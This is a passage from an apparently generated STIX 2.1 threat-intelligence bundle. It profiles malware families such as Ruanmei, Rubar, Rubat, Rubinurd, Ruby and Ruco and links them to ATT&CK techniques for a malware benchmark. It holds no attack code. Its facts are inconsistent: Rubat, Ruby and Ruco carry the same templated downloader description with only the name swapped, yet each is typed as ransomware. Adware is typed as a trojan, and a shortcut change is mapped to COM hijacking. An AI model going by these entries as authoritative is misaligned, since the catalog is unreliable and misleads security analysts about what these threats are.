tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ruandmel",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ruandmel"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d6b532fa-9eed-5742-9176-ef2138a9aa96",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7d8b0567-2c35-5610-8569-5d5469a5ea11",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ruandmel exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--46fd2351-09dc-5e96-806b-e436249992fe",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7d8b0567-2c35-5610-8569-5d5469a5ea11",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ruandmel exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8539ba72-f02a-55be-be8a-79507d219051",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7d8b0567-2c35-5610-8569-5d5469a5ea11",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ruandmel exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--76abbf7c-a30d-5f8d-a770-82d916e6363e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7d8b0567-2c35-5610-8569-5d5469a5ea11",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ruandmel exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b1e68846-9141-51e0-ba7e-a6e0e72b152f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7d8b0567-2c35-5610-8569-5d5469a5ea11",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ruandmel exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ad3c3361-2578-5c96-8742-94d4c182c945",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ruanmei",
      "description": "<h3>Executive Summary</h3>\nRuanmei is an aggressive Potentially Unwanted Program (PUP) and Adware application that masquerades as a legitimate browser enhancement, media player update, or system utility. Its true purpose is to forcefully inject advertisements, hijack browser settings, and heavily monetize the infected endpoint through affiliate traffic generation and data harvesting.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nRuanmei relies almost entirely on deceptive software bundling. Users typically encounter it when downloading \"free\" software from unofficial, localized web portals or third-party aggregators. The adware is installed silently in the background during the primary software's setup process, often utilizing deceptive \"Advanced\" or \"Custom\" installation screens designed to trick users into accepting the bundle.\n\nOnce installed, the software employs highly aggressive tactics:\n<ul>\n<li><strong>Aggressive Browser Hijacking:</strong> The software installs persistent extensions across Chrome, Firefox, and Edge. It forcefully modifies the default homepage, search engine, and new tab page to route traffic through affiliate-monetized search engines.</li>\n<li><strong>System Watchdogs and Rootkit Tactics:</strong> Ruanmei frequently installs background \"watchdog\" services that actively monitor the registry and browser settings. If a user attempts to remove the extension or change their homepage back to Google, the watchdog service instantly reinstalls the adware.</li>\n<li><strong>Ad Injection and Overlay:</strong> It injects its own JavaScript into legitimate websites, overlaying pages with intrusive pop-up ads, sliding banners, and embedded video advertisements, significantly degrading system performance and user experience.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile Ruanmei is generally not classified as destructive malware, it poses a severe threat to system stability, user productivity, and privacy. The aggressive persistence mechanisms cause significant IT overhead, and the constant ad injection consumes massive CPU and RAM resources. The tracking telemetry also violates corporate privacy policies.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Safe Mode and Process Termination:</strong> Due to the aggressive watchdog services, it is often necessary to boot the infected machine into Windows \"Safe Mode\" to prevent the adware's defense mechanisms from launching before attempting uninstallation.</li>\n<li><strong>Targeted Anti-Malware Scan:</strong> Standard antivirus often ignores PUPs. Utilize a reputable enterprise anti-malware solution (specifically tuned for Adware removal) to scan for and remove the deeply embedded registry keys and scheduled tasks.</li>\n<li><strong>Browser Factory Reset:</strong> Following the removal of the underlying files, a full factory reset of all installed web browsers is absolutely required to purge the malicious extensions and hijacked settings.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.Ruanmei",
        "PUP.Ruanmei",
        "Win32/Adware.Hijacker"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ruanmei",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ruanmei"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6fdef6e4-afaf-5530-8879-7b7254dd261c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ad3c3361-2578-5c96-8742-94d4c182c945",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ruanmei exhibits technique T1185 (Browser Session Hijacking (Ad injection and tracking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b33e6d49-7907-521c-af42-c739a38cd97d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ad3c3361-2578-5c96-8742-94d4c182c945",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ruanmei exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2b6df938-21c2-53f6-8a18-306cd91a0189",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ad3c3361-2578-5c96-8742-94d4c182c945",
      "target_ref": "attack-pattern--c3628f86-de8f-507d-a3a8-73c0a63c90c4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ruanmei exhibits technique T1546.015 (Event Triggered Execution: Component Object Model Hijacking)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--fd29c98a-b374-5ac4-aa05-441047b42273",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Rubar",
      "description": "Adware:Win32/Rubar is an intrusive Potentially Unwanted Program (PUP) categorized as a malicious Browser Modifier or Hijacker. It is designed to forcibly alter a user's web browsing experience across multiple browsers (Chrome, Firefox, Edge) to inject unwanted advertisements, redirect search traffic, and track browsing behavior to generate illicit Pay-Per-Click (PPC) revenue.<br><br><b>Understanding Rubar</b><br>To an end-user, Rubar manifests as a sudden influx of unremovable toolbars, persistent pop-up ads, and the forced redirection of their default search engine to a low-quality, third-party portal (often designed to look like Google or Bing but filled with sponsored links). For a security team, it represents a breakdown in endpoint hygiene and a potential vector for more serious infections via malvertising (`T1189`).<br><br><b>Execution and Hijacking Mechanics</b><br>Rubar is typically distributed via deceptive software bundles (wrappers) or fake software updates (like Adobe Flash or Java). Upon execution, it modifies the Windows Registry (`T1112`) and browser configuration files (`T1176`) to force-install malicious extensions or change the default homepage and search provider. To ensure the hijacking cannot be easily reversed by the user, Rubar frequently alters the shortcut properties (the `.lnk` files) of installed browsers on the Desktop and Taskbar, appending a malicious URL to the target path so the hijacked site loads every time the browser is launched.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is a severely degraded user experience, potential privacy violations (tracking of search queries), and exposure to potentially malicious ads. Host-based IoCs include EDR alerts for modifications to browser shortcut properties, unexpected additions to browser Extension directories, or the presence of anomalous registry keys modifying `Start Page` or `Default_Search_URL` values. Network IoCs include DNS queries resolving to known adware tracking infrastructure. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Rubar",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/rubar"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--86210f95-2cb7-58a8-a180-3f86e44962c7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fd29c98a-b374-5ac4-aa05-441047b42273",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rubar exhibits technique T1176 (Browser Extensions (Force-installing the malicious extension))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--078bfd62-bdf8-5df2-9fae-4b0deff6b5a1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fd29c98a-b374-5ac4-aa05-441047b42273",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rubar exhibits technique T1112 (Modify Registry (Changing default search/homepage keys))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--37bf8a94-db9a-5519-8dcc-f98bacd000a1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fd29c98a-b374-5ac4-aa05-441047b42273",
      "target_ref": "attack-pattern--c3628f86-de8f-507d-a3a8-73c0a63c90c4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rubar exhibits technique T1546.015 (Event Triggered Execution: Component Object Model Hijacking (Modifying browser shortcuts))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b545b3fe-efdf-56ff-a9d3-4c03df205acf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Rubat",
      "description": "Trojan:Win32/Rubat is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Rubat</b><br>To an end-user, a Rubat infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Rubat is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Rubat is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Rubat frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Rubat reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Rubat",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/rubat"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fb4ea6cd-1154-5ce8-aa86-dc229ca7ca3f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b545b3fe-efdf-56ff-a9d3-4c03df205acf",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rubat exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--154e1718-03cc-554f-8242-2c00ff70f2b3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b545b3fe-efdf-56ff-a9d3-4c03df205acf",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rubat exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2e99bcd0-598f-5c7e-bd3f-5ccb27fe039c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b545b3fe-efdf-56ff-a9d3-4c03df205acf",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rubat exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c000f103-9633-5516-bbb0-c620c7accbc3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b545b3fe-efdf-56ff-a9d3-4c03df205acf",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rubat exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--979fc273-0278-54f1-bc29-acf5a67952ef",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b545b3fe-efdf-56ff-a9d3-4c03df205acf",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rubat exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--10e45259-8ed6-5691-ace7-911717cfd0f4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Rubinurd",
      "description": "Rubinurd (cataloged by threat intelligence researchers and security vendors under identifiers including Trojan:Win32/Rubinurd, TrojanDownloader.Rubinurd, and Win32/Rubinurd) is a targeted Windows trojan downloader and staging agent active since 2011. Observed primarily in targeted cyber espionage and spearphishing campaigns targeting defense and governmental entities, Rubinurd was frequently delivered via weaponized Rich Text Format (RTF) and Word documents exploiting legacy memory corruption vulnerabilities (such as CVE-2010-3333 and CVE-2011-0611). Once executed, Rubinurd unpacks shellcode, unmaps target processes using NtUnmapViewOfSection, and injects clean staging code into host binaries. Rubinurd establishes encrypted beaconing to hardcoded command-and-control IP addresses and domains, serving as an initial access gateway to fetch, decrypt, and execute secondary surveillance backdoors\u2014most notably the Taidoor and Simbot remote access trojans (RATs). (Observed samples in benchmark: 87)",
      "is_family": true,
      "malware_types": [
        "downloader"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Rubinurd",
        "TrojanDownloader:Win32/Rubinurd",
        "Win32/Rubinurd"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Rubinurd",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/rubinurd"
        }
      ],
      "labels": [
        "downloader",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b6ff4e6c-0efd-5e8d-aa7b-ffc0856c8fbf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--10e45259-8ed6-5691-ace7-911717cfd0f4",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rubinurd exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c57aa7f3-085f-5da6-acf0-d751e2ea9852",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--10e45259-8ed6-5691-ace7-911717cfd0f4",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rubinurd exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b4f5ac13-630a-5fbd-99de-1ab03b9f37ba",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--10e45259-8ed6-5691-ace7-911717cfd0f4",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rubinurd exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3d13d33d-0d10-5dab-8d15-ab2c003a3f4c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--10e45259-8ed6-5691-ace7-911717cfd0f4",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rubinurd exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a87a935d-e9c5-596f-afcb-ada8697b2429",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--10e45259-8ed6-5691-ace7-911717cfd0f4",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rubinurd exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f405c191-78ab-59ea-93a0-d44c0585d7c6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ruby",
      "description": "Trojan:Win32/Ruby is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Ruby</b><br>To an end-user, a Ruby infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Ruby is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Ruby is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Ruby frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Ruby reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ruby",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ruby"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2036e71f-9e73-59ce-9999-9df4d14bccde",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f405c191-78ab-59ea-93a0-d44c0585d7c6",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ruby exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9c899b3d-12a5-5b0d-a8b4-ae362980ab3b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f405c191-78ab-59ea-93a0-d44c0585d7c6",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ruby exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--148a63d9-13cc-524a-9678-3834e8147c70",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f405c191-78ab-59ea-93a0-d44c0585d7c6",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ruby exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f9b36f71-338d-5e4c-97d5-280a19f182c7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f405c191-78ab-59ea-93a0-d44c0585d7c6",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ruby exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--edbb57e3-ce5b-592b-b72d-dae6a0f05d92",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f405c191-78ab-59ea-93a0-d44c0585d7c6",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ruby exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6a4d5586-7325-5b48-b90b-2eee5aa7a02e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ruco",
      "description": "Trojan:Win32/Ruco is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Ruco</b><br>To an end-user, a Ruco infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Ruco is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Ruco is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Ruco frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Ruco reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ruco",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ruco"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--be580cea-624b-5b32-95dd-1fcfb5b75e8f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6a4d5586-7325-5b48-b90b-2eee5aa7a02e",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ruco exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f7ac34fa-ae4b-57e3-8eb6-54c3a47468b2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6a4d5586-7325-5b48-b90b-2eee5aa7a02e",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ruco exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--01365d79-d81f-5b7a-a138-56fcb296c38e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
